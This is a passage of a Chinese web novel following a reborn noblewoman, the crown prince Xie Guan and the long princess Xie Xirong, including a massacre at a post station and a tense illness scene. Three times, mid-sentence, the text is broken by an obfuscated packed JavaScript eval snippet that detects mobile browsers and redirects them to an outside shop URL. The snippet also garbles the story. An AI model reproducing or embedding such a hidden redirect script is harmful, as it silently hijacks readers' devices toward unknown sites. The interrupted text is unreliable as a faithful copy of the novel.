她强压下排斥不适,抬指故作娇巧戳开谢冠的肩膀:“太子殿下这话是怀疑乔笙?可是乔笙当天没见过什么太监,更不知您邀见。” 不就是要太子的威仪么?给他就是了。 谢冠的脸色明显转晴。 “若知道,乔笙自是迫不及待赴会的。”她收回手笑容嫣然。 刚还冷眉冷眼,现在又变得乖顺。谢冠看出关于贵禄的死沈乔笙并不清白,无非是心虚使然。 温香软玉在怀,他根本不在乎贵禄死活。 只见她身轻如飞仙,一蹙新月眉半拢,剪水的眸颦动婉转,即使是装,也装出个乍含烟媚的可人样儿。 从前怎么没发现她这般水灵? 谢冠一把攥住她未落下去的手,拉倒嘴唇边,话里威胁,也多了勾挑意味:“是吗?怎么有人说,看见你同贵禄一道走了?” 他四处揩油,沈乔笙思绪混乱如麻,忍受着身与心双重煎熬。 冷静,不要被他的话影响思考。 那天贵禄特意领她从荒僻小路走,丝毫不见人迹,不可能有人看见。 谢冠定是诈她。 既然没有确凿证据,谢冠又为什么急于抓她辫子? 她猜是因为繁芜这条线断了,令谢冠按捺不下恼火。 沈乔笙的迟疑给了谢冠可乘之机,他笑得露出一口白森森的牙:“若你今晚把那日错过的补上,孤便不追究。” 愤懑与厌恶在惊涛骇浪,谢冠竟龌龊到这等地步!下唇肉咬破,腥甜弥漫口腔,她隐忍地发着抖说不出话。 谢冠的嘴将要碰上她手:“矜持什么?反正你迟早也是孤的女——” 差之分毫间,凌空涉入一道磁音,比凛冬寡冷: “看见你了,沈乔笙。” 这声音!她蓦然抬头望去。 太极门宣阳正道,长公主的雀召大驾如盘龙镇守在中央。 谢袭容意态恣睢,高位上靠坐,凌驾众生的气场与生俱来。 是对她说话。 也只在对她说话。 碧瓦朱甍轻掩白雪之下,谢袭容赫然身披一件奢华的黑狐狸毛大氅,夺目又深沉肃穆。 这皮毛蓬松且密实,成色润亮没有一丝杂质,在他平阔的肩上丝毫不显得压身,只有数不尽的尊荣奢贵。 她紧绷的心绪在这刻放松下来。 呼吸终于落实,她满怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢冠踱步至人群中间,好似只有背后站的人多,才有正面对峙的底气,支起放狠话的气势:“孤没说你们可以走了。” 说不准谢袭容渺漠眼神是在看他,还是看这片身份或贵或贱的人群。 没差别,都是看垃圾。 谢袭容语气毫无波动:“踏过去。” 谢冠脸色霎时变得极臭,不料谢袭容的雀召仪仗竟真的大开大合继续前行,直直向他走来。 那阵仗确切只要他敢不让路,八抬的宝驾绝会从他身上碾过去。 “等……等等。”谢冠顾忌地退了两步,身为太子的骄傲有些撕破,遍地宫婢也没人敢真的硬拦,散沙似的纷纷随之挤散开去。 銮仪安履平地,偏是没受到一丁点阻力。 沈乔笙借以荫蔽,埋头紧跟其后。 “东宫心腹太监失踪沈乔笙有避不开的嫌疑!皇姐横插一脚,莫非跟她是同谋?”谢冠被挤到路边,失去理智地质问。 沈乔笙几乎呼吸屏住,不确定谢冠是误打误撞,还是真的知道些什么,她把身子又往谢袭容的座驾边缩了缩。 谢袭容见她没骨气那样儿, 这会儿胆小了,当初借刀杀人不是玩得很勇? ‘同谋’这个词过分微妙,妙到令谢袭容生起一丝提醒的兴致: “他一直在你身边,你没看见而已。” “身边?”谢冠懵了。 他还没说是谁失踪,谢袭容却一副了然于心的样子,令他心生害怕,又不得不装腔,“开什么玩笑!他若是在,岂能不与孤复命?” “你今晚就寝时,记得翻开枕头问问他。”谢袭容口吻平常,竟似五雷轰顶将谢冠劈中。 谢冠瞪大眼,恐惧潜滋暗长,身子钉在原地动弹不得。 高大的驾仪经过他面前,带起一阵煞风,排山倒海地倾轧下来。 沈乔笙也看的清晰分明。 与长公主殿下相形而较,太子显然摆不大上台面。 也是,天上游龙怎会在意地上毒虫的阻挠。 虽然很不幸,她前世就是被毒虫咬死的。 跟随谢袭容走出许久,没有人开口说话,鞋靴踩在碎雪上簌簌作响,觉知此刻清冷静谧。 谢袭容闭目养神,沈乔笙安静落在后头。 摘掉被谢冠触摸过的右耳钳,抽出绢帕来,剥下枝头一块雪,在手心搓化洇湿巾子,借雪水擦拭耳朵。 被谢冠碰过的地方,要仔细擦干净。 湿冷贴上耳朵,她耐不住寒轻声抽嘶,谢袭容睁开眼。 “沈乔笙。” 他无所用心唤她名字,懒嗔问话: “这婚约,可是你满意的?” 11.011 素簪和犬齿 连日盛雪,初阳羞羞掩掩送来一缕薄晴。 “多日过去,还不曾问你,对这门亲事可还满意?” 煎茶煮水的咕嘟声,和太后苍老的声音,都让她怔忪着感觉不真实。 二刻钟前,她还觉得谢袭容提太后只是幌子,打算将殿下送回宫就离开。 怎么现在她正襟危坐、太后慈眉善目问话、谢袭容面无表情烹茶,三人在同一张吭鹤黄花梨八仙桌前,聚首寿康宫呢? 来路上,谢袭容问过她同样的问题,她可是坦诚地说过:“乔笙在宫里讨生存,有不得不做之事,但绝没有对殿下不利的心思。” 她不敢说满不满意,在太后面前更不敢。 “与太子结缘乃是皇恩浩荡,乔笙感激不尽。”她连连称是,还说了好些恭维话。 太后年事已高,因保养得当连皱纹也看不出几条,许是因浸染佛性,双颊挂下松弛的皮肉也显出面相宽厚,有了菩萨的慈善气。 她对沈乔笙颔首,随手翻看桌边经卷:“你谦卑顺和,经文誊抄一字未错,哀家见你啊颇有佛缘。” 难怪这卷本有些眼熟,是她自己抄的第二本《圆觉经》。 如何会到太后手里呢? 她眼珠儿一转,向谢袭容瞧去。 对面谢袭容淡然自若,手中点茶动作利落漂亮。 温杯烫盏,投茶散香。 两指携夹起碗盖,抬杯,露出盏后幽波荡漾的眼,对上她视线。 太后阅览她工整字迹,欣赏提问:“梵语晦涩难懂,你抄写可有什么疑问处?或有什么记忆深刻的,可与哀家探讨一二。” 考学突如其来,沈乔笙略带无助地再望向谢袭容。 谢袭容垂眼不应,翻腕收束一个再洒脱不过的展茗姿势,扣下白瓷盖发出“叮”的清音: “回话。” 沈乔笙缩了下,赶紧整理思绪,站起在空处拜道:“禅海法界无边,乔笙见闻如入空门,可思来想去又不能尽然认同。” “哦?说来听听。”太后对她有些好奇。 “佛曰‘不即不离,无缚无脱,始知众生为佛,生死涅槃如梦’,” 陶砂泥炉上烧着水,热气蒸散,柔和了谢袭容手上精工雕琢的螭龙,沈乔笙稍微放空眼神,螭龙便随那人点茶的手腕在雾中腾挪翻飞。 她顿了下,接着道:“无量佛祖俯瞰世人,自会怜悯苍生,乔笙以人的视角看人,才清楚人的身份有高低等级,品格亦有贵贱之分。 渺渺凡人生生世世都该达到自己的顶峰,一览众山,才能真正看透众生非凡。” 她语毕,满宫人声寂,太后合上卷本抚摩着封皮,颇带深意地瞧她。 小壶沸水徐徐斟倒,冲开杯中上好的蜜柑翠羣嫩叶。 水柱震荡,激起碗盖好一阵清脆悦耳的鸣吟,像哪位妖的秘语。 许久,太后突然抚掌而笑,抬手赐平身,转头对摆弄杯盏的谢袭容开口:“容儿,哀家没说错吧?是个机灵姑娘。” 谢袭容没看沈乔笙,话音凉飕飕的:“若是顺杆往上爬也算本事的话。” 沈乔笙丝毫不在意,理好裙子坐回桌前。 “你有如此见解,可见不是安于凡庸的,今后有关太子妃的课业规矩等,都到寿康宫来学习,与容儿一同在哀家身边伴着,待哀家挑个身边的老人亲自教你。”太后几句话做决断。 有心栽花花不发,第一本用来讨好太后的经文,作泥尘损毁。 第二本赠与长公主殿下的经文,不加任何利欲寄托,反而出现在太后手上,还成为和寿康宫搭上线的契机。 这里面有谢袭容的助力吗? 沈乔笙猜不出,只有先紧紧抓住眼前的机会。那厢又是谢恩,不必分说。 太后的眼睛狭长微垂,目光在两个晚辈间逡巡, “说起来……你姐姐元筝曾受封和亲公主,主动替容儿去往朔北,现你要嫁给容儿的兄弟,你二人是极有缘分的。” 殿中炉音暖沸。 谢袭容仍是无话,指尖行云流水,灵活的手指骨感冷白,与素釉的瓷杯映衬,茶具击拂好似骤雨松声,打散细密的茶汤。 少顷,点茶毕。 沈乔笙落落大方答:“是呀娘娘,乔笙与殿下倾盖如故,又有这层分不开的缘系,日思夜想期盼和殿下——亲上加亲呢。” 她话刚说罢,谢袭容掌间拨动,刚沏满的茶杯在桌面丝滑漂移,眼看它飞来跟前,沈乔笙忙不迭伸出两手去接。 “嘶!烫……” 碰到杯身她刹那弹开双手,赶紧贴在桌面降温,被烫得小小地龇了下牙,看到谢袭容警告的眼神。 太后好笑地摇了摇头:“容儿别欺负你乔笙妹妹。” 谢袭容玩味瞟她:“乔笙,妹妹?” 双手垫在桌子上,她很是赞同地猛点头:“那我也要叫您姐……” “闭嘴。” “哦。” 太后看二人一个凶的一个傻的,笑眯了眼:“容儿你也该收收这凶悍性子,外面都怕极了你,群臣上奏要你尽早定亲,你嫁人他们才能放心呢。” 嫁人? 上辈子没听说殿下有婚配,一丝谣言风影都没传出过。 性子乖戾又孤寡冷情,独来独往煞气萦身,感觉能克死每一个想沾边的人。 出乎意料地,谢袭容并没有表现任何反对,反而往下问:“这次是谁?” 太后悠悠呷了口茶:“乌府御史陈文度独子。” “行。” 谢袭容乏味又干脆利落的回答,让沈乔笙不得不细品。 还没等她想明白,谢袭容放下茶具,盆中净手、拭干,然后起身与太后告退。 “今晚他们回京,你尽早去见见也好。”太后不觉得有异,只是淡然叮嘱,随后许之离开。 动作先思维反应,她跟着站起行送礼:“恭送殿下。” 他从她身侧擦肩而过,摆动的宽阔袖幅无可避免,与她的裙袂连结,蹭磨一触即分。 踏过门槛的脚步停住,他顿然收回腿,转身又回到她面前。 和殿下面孔相对,脖子仰得酸楚无比,沈乔笙对其高大伟岸的印象又有了全新认知,她睁圆眼睛:“殿下?” 他在她脸上觑了半晌,最后选定她发上一条不起眼的木簪,不客气地摘下来在手里掂量,扬眉肯定道:“这个不错,勉强趁手。” 她摸摸头上:“殿下要这个做什么?” “做几具尸体。”他轻描淡写。 哈啊? 太后方命人收好经书,再次提醒:“容儿,别吓着她。” 谢袭容勾唇笑得百媚横生,反手把她的素簪插进自己发间。 他旋身离去,半眯的眸子耀芒冷寂,亮似子夜寒星。 谢袭容走后一切如常,沈乔笙有眼色,转过桌边坐到看茶位置,接替为太后续茶之责。 闲聊逗趣谈天说地,赚得太后许多褒奖。 ** 此夜月圆,流云北飞攒聚,遮蔽漫天缎白的华光。 沈乔笙在小厨房里忙个不停。 下午出宫顺道请回大夫,给母亲诊的平安脉依旧不好不坏,大夫说冬季注意滋补,她便刚亲自做了清淡营养的蚬子肉糜粥送去。 太后的橄榄枝来得意外,她没空追究沈华彤捣鬼,沈参未归家,她也暂时无法当面道谢。 唯一记挂的事情,就是今日没有机会问圆圆如何。 不要紧,待她明日上课,再会会谢袭容。 脖颈酸胀,她抬起头捶肩,望见天边浓云失散。 明月睁开璀璨眼眸回望,将她窗上灯烛照得黯淡。 【壅京城外五十里驿】 御史台陈文度代陛下东巡体察民情归来,日夜兼程,终于抵达最后一个驿点,只待明早城门开,便可圆满归结此任。 夜色昏黑,陈家父子带领亲兵舟车劳顿,支起几盏灯笼缓慢到达驿站门前。 众人打马围上来,都发现城外驿门户紧闭灯火全无,分外诡秘。 已在京城脚下,往来商人络绎,驿站绝不可能黑灯瞎火,这不正常。 除非……有人在埋伏他们! 陈家人迅速警戒,背靠背围成防御圈。 陈氏父子被围在中心,紧张地戒备驿馆大门,马匹也发出不安的吭哧。 随着浮云舒涌,泄露月华抬亮所有人的视觉。 极轻的毕剥裂响传出,无人驿内赫然摇闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007197|146279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一道橙黄昏光。 门上投射出一人瑰姿绝艳的影,陪烛焰诡谲摇曳。 那影子话音空旷:“慢了。” “你是谁?休要装神弄鬼!”有人高声呵斥,声音在寂夜中如落石入渊。 不等回音平静,天上缓缓飘落一条浩瀚的白绫,降下盖在所有人头顶遮蔽视线。 众兵慌忙去扯,有反应快的拔刀试图劈断绫布。 一片混杂之中,那绸缎越扯越乱,越绞越紧,忽尔硕大的绫缎好似有生命般飞空而起,卷携外圈队形的亲兵们,飞到门前廊檐上,悬成一排挂下。 只剩陈氏父子周围无人保护。 他们可以看见白绫系在柱子上,另一端握在屋顶的黑衣人手里,布带上串着活人。 阿犯单臂爆发力量扯紧白绫,挂着的人开始嘶喊哀嚎,或是勒着脖子,或是绞着身子,骨头断裂声此起彼伏。 很快,拼命踢蹬的腿接连垂下,一个接一个断了气。 阿犯随手把布搭绑在横梁上,热乎的尸首就整齐的一排编钟那样摇荡。 “你……你们到底是谁?为什么要杀我们?” 陈公子是读书人,从没见过这等狠毒的杀人手法,颤抖地拉着父亲退后,“爹,我去拖住他们,你快跑!” 说罢便拔剑下马冲进屋中。 陈公子在昏暗中看清那人,发出今晚的最后一声惨叫: “你是长公主!” “爹!快跑——啊!!” 眨眼间,凄厉的尖叫停断,烛火寂灭,驿馆重归昏冥。 谢袭容的话音从青烟中弥升:“院外有重兵把守,谁都跑不了。” 类似阎罗殿里勾魂的鼓槌,一步,一下,凶邪的气息从内而外,随他缓步袭卷。 陈文度惊惧愤怒交加:“若你不喜我儿,不喜我陈家,老夫自去向陛下推辞便是,何必赶尽杀绝?难怪曾与你有过瓜葛的世家大族都没落,皆因你素来肆意妄为杀人如麻!” 谢袭容无谓地笑笑,点他:“猜错了,亏你身为御史中丞,别把因果倒置了。” 陈文度一惊,骇然发觉真相。 哪里是想与长公主结亲的家族被灭? 分明是算好灭谁的族,才会有长公主结亲风声传出! 谢袭容以残忍手段灭杀对方,恶名累日昭著,再仗着凶煞进行下一次屠戮,屡次循环不爽,像是被规设好的流程那样。 “你!……既然今日难逃一死,我拼了这把老骨头,也要为我儿报仇!”陈文度仰天长啸,策马纵身挥刀劈向谢袭容。 跑马飞驰疾速掠近,在即将撞上他的瞬间—— 砰! 谢袭容横腿凌空一脚飞踢,释出几分狂涛裂岸的内力,那马竟直接远远飞了出去,落体将围墙砸得粉碎。 陈文度整个人从马背上甩出,摔进深黑的门房里,和他儿子掉在一处,闭了眼。 卿月满盈,院外布阵的重兵悄然撤离,唯余冬风斯斯。 谢袭容站在满地寂寥的留白中,凝视驿站内的黑暗。 俄顷,他殷红的嘴角溢出血迹,手掌压按住绞痛不止的胸口,身形微晃。 阿犯面色凝重道:“主子,您这次发症时间又提前了。” 他制止阿犯上前搀扶的动作,吩咐阿犯处理善后,径自走上离去的夜路。 血热之症,每隔一段时间发病,严重时体内真气紊乱,险而爆体。 夜色里他咬紧齿关,烦躁不受控地生出杀戮和毁坏念头。 难耐到极点时连牙颌都在酸痒。 若是杀欲不能满足,就要忍受噬心蚀骨折磨。 灼烧感从心口进入四肢百骸,一寸一寸钉凿、碾碎筋脉骨骼,又似棘蔓钻出发肤,疯涨,撕扯,没入沸水煮开皮肉般的疼痛。 昏黑颠倒里一丝理智尚存,他摸到鬓边她的素木簪,毫不犹豫地拔下来,张嘴咬住。 她发丝上干净的豆蔻味道,和他在宫中用的降真香混揉一体,栖居在簪身。 鼻端缭绕的幽暧味道,难捕捉踪迹,但容易煽动兽性里的追索本能。 如果它可以替代她脆弱的颈。 他的咬合逐渐暴力,犬齿压嵌进木纹,试图攫取更深处的豆蔻香。 12.012 肚兜 太后抛来橄榄枝第二天,沈乔笙拎着自己做的茶点菓子,准时出现在寿康宫。 因为她毫发无伤从疯马之乱中脱身,早晨还顺理成章地用上了侯府锦印宝车,沈华彤在房里跟关氏哭叫大闹,满院砸烂好些东西,沈乔笙想不听到风声都难。 沈华彤这种级别的货色不必理会,你只管过得舒服,她自然就会不舒服。 一早太后就不在宫中,听说其每月十五都要去宫城最僻静的小南山佛堂斋戒一日,此时只带走几位随侍,是预备在小南山过夜的,剩下的留待寿康宫打理。 恰有位朱嬷嬷迎接沈乔笙来,这是位跟了太后几十年颇有地位的老宫女,也是她今后的教习嬷嬷。 太后不在,长公主殿下自然不必出现。 不过听说谢袭容今儿是病了,在行宫里休养。 沈乔笙暂且按下忧思,跟着朱嬷嬷学习,暗中留意寿康宫人际,着手经营关系。 前世为做谢冠的太子妃,她在德训规矩这方面不可谓不用心,那时的教习老师出自跟皇后一条心的司礼监,连那得了令要为难她的老妇都赞叹过:“好个刻苦较真的姑娘。” 现在重新学过,得心应手自不必提, 虽是拿手,她也不敢冒尖,刻意挑出几个疑难点请教,待嬷嬷指导,才做出恍悟之态。 一整日用心应对,午后未时三刻,且来到放课时间。 沈乔笙提着食盒步履缓慢,踌躇要不要去拜访长公主殿下。 不去吧,心里有些担忧。 去吧又怕谢袭容不见她。 …… “唉,又白跑一趟……我们做下人无非是看主子脸色,可扶危殿的这位,脸色也太吓人了。” “莫说,我们连人家的脸都没看到,就被轰出来了。” 路尽头的交叉处,有宫女压低嗓音的交谈抱怨声隐约传来,沈乔笙听到关键词收步,小心隐着自己,等她们先通过去。 “我们是御膳房送饭的,反而到她那吃了碗闭门羹。” “快别打趣,小心隔墙有耳。只听说长公主殿下突然病倒,昨夜到今日每餐都被打回来,一口都不吃,恐怕病得厉害。” …… 什么?殿下病得连饭都吃不下了! 沈乔笙开始后悔,自责应该午间就去探病的。 她再犹豫不了,握紧食盒的拎手,悄声碎步往谢袭容宫中赶。 谢袭容惯常拒人千里,沈乔笙却能隐约体会到,殿下并不是讨厌自己,加之昨日帮她从太子手里脱身,沈乔笙是打心眼里敬崇谢袭容。 再不济,就算殿下真不愿见她,好赖也和小宫女儿一样被赶走就是。 积雪消融下去一些,万物仍披盖薄衾,返璞归真于太初的渺白。 快步走到一处行宫外,沈乔笙抬眸望拱顶牌匾。 洒金字迹挥斥写道【辟尘扶危】,便是谢袭容所居的扶危殿。 没有预料中的,被宫人严厉阻拦的情景发生。 她抬手轻扣两下,红门竟被轻易掇开,园林在眼前如山水画卷展开。 扶危殿单说位置僻静、进间开阔这层优点,就已超过许多公主宠妃的行宫。 亭园珠帘绣额,广阔无人烟。台阁飞桥栏槛,廊庑迂回掩映。 “长公主殿下?”沈乔笙试探往里走去,穿过层叠的抄手游廊,冰蓝溪流夹中倒影绰约,仿若迷途惊梦。 她行至地势较高的兰亭,亭内四方通透,青鸟衔石雕梁上扑扇过迷蒙的一道暗影。 快到她看不清是鸟,还是透过枝叶闪烁的光影。 阖宫无人,她选择走下亭子继续向前。 曲径延伸通幽,步入浩荡的竹林,绿涛一浪高过一浪,恍若淹没于翡翠海,置身其中几欲迷失方向。 深入竹海腹地,她眼见远前方碧色遮盖,隐约透出一抹凌人的紫气,细看是条孤高的背影。 殿下。 她脑中立刻猜到。 不由地放轻步履,生怕惊动谪仙人,只待蹑手蹑脚再走近几步确认对方身份。 未竟那人骤然回头,亮出手中锃光的青釭宝剑,翻腕剑锋回转,不由分说对她凌空挥斩,一弧白练石破天惊,奔杀而向。 “啊!” 疾劲的罡风扑面砍过来,吓得沈乔笙尖叫一声抱头蹲下,食盒脱手掉在地上。 那剑气卷携杀意横贯的四方,将方圆十丈的苍竹齐齐削劈断去,竹冠失重七零八落地倒落下来,有飞降的碎雪掉在她头上身上。 她动魄地大睁双眼,望向神色暴戾的谢袭容,嘴巴微张,顾不上狼狈。 什么谪仙人?这绝对是十殿阎罗王! “是你?”谢袭容看清她的面容,微顿一瞬,凝眉不耐地道,“谁让你来的,出去。” 和沈乔笙想的一样,殿下开口必是严词拒绝。 但没想到会是差点被削掉天灵盖,这种严词拒绝。 她蹲在地上缓神,把歪躺在地上的食盒捡回才起身, “听闻殿下病了,乔笙是特意来探访问安的。” 她回答了谢袭容的问题,却不肯走。 怯怯地看过去,天寒地冻的,谢袭容只着了件宽松的萸紫色湖绸锦袍,斜身靠在林中石桌边沿,领口微敞,丝毫不畏惧寒冷。 原本丰润的唇现在有些苍白,说出的话还是不变的冷情:“走。” 走?才不呢!她可不是早就试过了吗,赖着不走殿下也不会真动手杀她。 所以她没听话,反而试探地向谢袭容接近。 他们的距离一再缩短,沈乔笙看见谢袭容墨发披肩,单衣轻薄,领口随偏头看她的动作松滑开一些。 是听见沈乔笙靠近的脚步声,他斜眼过去横她。 沈乔笙假装看不懂眼色,硬着头皮继续往前。她觉得周围太安静,笑着开口关心:“殿下是得了什么病症?” 谢袭容不仅不答,还盯着她一语不发,两人之间唯余静谧,她心里无端起了些紧张,又道:“无论什么病殿下也不能穿得这样单薄,独自站在寒竹中,实在容易伤身。” 话好多。 他不住皱眉,握剑柄的手忍耐地攥紧,脉搏鼓噪,又在想杀人。 她今天穿了件蜜粉色雨丝葫芦纹褙子,玉带当风,袍摆斜飞。 若上空盘旋的飞鹰往下目视,定能见她宛若一柄温柔的游刃,单刀剖入竹林的心脏。 就这样出现在他猩红昏溃的视野里,教他的厮杀欲望为之兴奋,为之创造一场扑猎的角逐游戏。 然后享受将猎物凌虐、撕碎的胜利果实。 剑尖难耐地瑟颤起来,难预料她是否会在下个眨眼间血溅当场。 他打定主意,若是没忍住将她杀了,就拿她的肋骨磨成扇片,做副折扇,日日风凉为他的热痛疏解。 沈乔笙似乎对他的想法毫无察觉,迎着谢袭容冰锥锐利的眼神面对而站。 “扶危殿的宫侍们呢?怎么一个都不见?”还想说点什么的她愣住了。 谢袭容身材高挑,瘦而健实,以沈乔笙的个头只能到他锁骨,因而满眼都是他丝绸衣衫松敞,微露出前胸隐约一道线沟。 哦……好大。 沈乔笙暗自吃惊。 顺着她痴然目光低头,谢袭容的乖戾暴躁忽然被摁灭,由沉默代替。 他冷不防挟拢衣襟,胸口起伏虚热:“想活命的都已经躲好了,不想活的眼睛还在乱看。” 沈乔笙惊了下,赶紧移开眼抬头,撞上谢袭容幽暗的眸光,又飞快地弹开,一时间往哪看都不是。 尴尬片晌,她没忍住噗嗤笑起来。 “这里又没有别人,我们两个害羞什么呀?殿下有的我也有呀,大不了让您看回来。”她眼睛弯弯,逗趣似的挺了挺胸脯。 “……”谢袭容抿唇,偏头避开对她那里的观视。 她下一句话,让他几乎松开剑柄的手蓦地又抓紧。 她说:“自个儿屋里没关系的殿下,我不出门时,也不爱穿肚兜。” 有病! 刚才砍她真不该收力,该把她的脑袋拧下来,看看里面装的什么发霉浆糊。 她把食盒放在他倚靠的石几上,嬉笑着去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她转生前游荡许久,见过谢袭容发病,有时还会攒一波政敌杀掉助兴。 依稀听太医诊断血热疯癖,久病难愈之类,她方才还不敢确认,见了公主手心狰狞红纹,就知十有八九。 她面露不忍,回神才发现面前,谢袭容的目光正停留在她脸上,细细端详。 把半块糕点都塞进嘴里,她模糊不清地打马虎眼:“吃点甜的心情会变好,病也会好得快些。” 谢袭容没胃口,放进唇间品尝一点。 食物是清甜软糯的,小甘薯纯朴甜蜜,与玫瑰味道互相调和,好像没什么特别之处,又让人很容易接纳它的恬静。 “殿下,团子好吃吗?”她怕谢袭容不给面子说难吃,灵机一动打破沉默, “团子的团,我的乳名就叫阿团呢。” 绵密的甘薯泥在舌尖化开,糖渍玫瑰的清香扑入鼻腔。 谢袭容突然停止咀嚼的动作,意味不明地过眼看她。 她尴尬地摸摸鼻子,坚持说完:“殿下以后也可以这么唤我。” 半晌谢袭容不搭腔,说:“太后赐的奇楠降真香可以纾解疲乏,赏你作为答谢。” “降真香……”沈乔笙警觉,“殿下平时用的就是降真香吗?” 降真是檀树干芯,根据工艺不同,留存的味道浓淡也就不同,可以佐药制香,若剂量不多,平常距离内很难分辨出。 她忽地弯腰,贴近谢袭容乌黑的发顶细嗅,转而向下,依次闻过耳垂,脖子和衣领。 “又在做什么?” “怎么都有?” 他们的反问声同时响起。 沈乔笙先一步严肃开口:“降真是活血之物,药性辛,属燥火,殿下的病万不能用。” 谢袭容捏着手里半月牙型的团糕,懒淡问她: “你怎么知道本宫得了什么病?” 13.013 驯 沈乔笙愣在原地。 她没有对谢袭容设防是真,又因为心疼,直言劝其弃用药物,却一时情急,忘记谢袭容目前为止,还不曾提过自己的病。 她站在原地扣紧衣角。 殿下的病症可没有公之于众,她要怎么解释自己如何得知的呢? 见她脸色变白,谢袭容破天荒的好性儿,看了眼对面的凳子,让她先“坐下”。 沈乔笙一点也不想坐,勉强找个理由说:“我是看殿下衣衫单薄,便猜您是得了风热。” 隆冬大雪得风热。 说出来她自己都觉得离奇。 她连食盒都不想要了,仓皇转身欲逃离, “天色已晚,母亲还在家中盼归,乔笙先行离……” 她话未说完,一只健壮的猎隼飞快降下,将爪钩中的兔子‘噗呲’插在尖锐的断竹尖上。 □□刺破的声音在雪林里格外清晰。 是她在佛堂里见过的那只,灵敏的双眼依然歪头盯视她。 她受不了,只得重新面向谢袭容。 冬日天黑得早,竹阴密匝,遮得周围灰暗笼罩。 薄暮中谢袭容病中脸孔透白如玉,唇瓣都有些失了血色,偏就眉目深邃冷艳,好似一张鬼灯下舔尝红尘的桃花面。 他抬眸蔚然一笑:“坐过来。” 沈乔笙心里激得发毛,他身上没有方才的乖戾,反而气息宁和,甚至有春风化雨的质感。 但这绝对不是友好的象征。 她想起被活埋的皇后,一夜间夷为平地的澄台寺,还有消失无踪的朝廷重臣们。 谢袭容真正想杀人时,从来都是表情淡淡的,就像现在。 她快步折回谢袭容身边坐下。 谢袭容挑眼看她的假作镇定,掰下小块团糕细细品嚼。 舌头尝出的滋味,好像比刚才更甜几分。 本来准备好的视死如归,谢袭容却再也没开口,这让她原本的一鼓作气很快衰竭下来。 琢磨不准对方心思,她只能先开口:“殿下患有血热之症,可能是毒,只要找对方向这不难查,难的是解毒和治愈。” 即便这对谢袭容来说是废话。 “嗯。”他向来直击重点,“你从何得知?” 沈乔笙哑口,手指在冷石头桌边扣扣索索,半晌答不上来。 她眼神飘忽落到鹰隼身上。 只见兔子垂死踢蹬挣扎,那隼儿的利爪紧紧钳握它的大腿,弯钩鸟喙划过雪白圆润的脸,贪婪嗅闻猎物濒死前的鲜活气。 小小身体上血红汩汩,成了天光闭幕前最后的色彩。 反观谢袭容,悠闲欣赏着鹰隼食兔的血淋淋场景,雅然地品着糕点,竟没有生气:“你还知道本宫什么?” 就像寻常聊天,卸下压迫感的谢袭容也许并没有那么可怕。 “我知道……殿下嗜酸甜,尤其喜欢梅子小饼,可惜我不大会,只做了甜甜的糕点。”她放下防备,从回忆里揪出一点谢袭容穿梭朝野的风影, “殿下习惯礼佛但不信神佛,爱干净所以动手杀人也不沾血污,不常用首饰即使素发也好看,除了独步天下的武功外,读书写字也很厉害。” 她真诚地望向长公主,是在看一位相识已久却不能言谈的奇缘至交。 谢袭容的接答阴阳不明,如同猫舌上的倒刺刮出轻麻的挤兑:“看来你的确为接近本宫做了不少功课。” “不用特地做功课啊,了解您全因为乔笙曾认真地景仰着您。” 她眨眨眼,倾身凑到谢袭容跟前。因距离的靠近,能看到晚暮四合中谢袭容英眉微皱,薄汗沁额,才发现病中美人仍时刻忍受着肺腑之痛。 她疼惜地抬手挽袖,想为美人拭去额汗。 刚一触碰到皮肤,他猛地攥住她的手腕,体内滚热的痛意又无端灼烧起来。 谢袭容再次失去平静,唇角扯起极具攻击性的笑弧:“本宫怎么不知自己与你有这般交情?你的目之所及竟能看到本宫口味喜好,乃至读书写字?好大的本领啊,沈乔笙。” 她被拉扯得起身扑过去,为了不砸中公主,她只能连忙支起一条腿,屈膝跪在公主腿边,整个人几乎半坐在谢袭容怀里。 “殿下别生气,乔笙只想与您亲近一些,断不会对您不利。”她尝试安抚。 “又是这句话,你一直强调的亲近,就是要本宫收容你这个满身疑点的人?”他拒绝陪她玩猜谜游戏,“要么本宫来替你说?” “什么……”她单腿勉强支撑重心,身形微抖。 “你为嫁太子跪倒在你爹沈垣面前,这是无需调查,只要靠近侯府就会听到的风言风语,然而短短两天后你就开始对太子深恶痛绝。” 他言语犀利,简明扼要发问, “到底是流言误你,还是你真的薄情至此?” “权斗之事风云变幻,乔笙为了自保,自然希望侯府远离权力中心。”她为自己辩解,真话说了一半。 却也着实不欲在此话题上深论。 公主病了,提谢冠那贱人岂不是惹晦气? 沈乔笙不敢撑病患的肩,只好越过他的臂膀去,撑在他身侧的桌子借力起身,身子贴近时,她眨眨眼玩笑:“既然殿下对我感兴趣,何不接受我,让我常伴您身侧呢?” 谢袭容直接扣住她屈搭在凳子上的腿弯,一个起身她竟被单手捞起,施力翻转丢扔。 短暂的失重感后,沈乔笙发现自己仰面倒在石桌上。 她试图撑起身,不料左腿弯还勾在谢袭容手里,他抄着她的腿推压,将她再次掀躺下去。 “我……” 她想开口说话,谢袭容把手里掰过的糕团堵进她嘴巴里,凶道;“不许狡辩。” 他的手掌盘握着她的腿膝关节,只要稍用力就能废掉她一条腿,盘问语气也染上几分阴鸷: 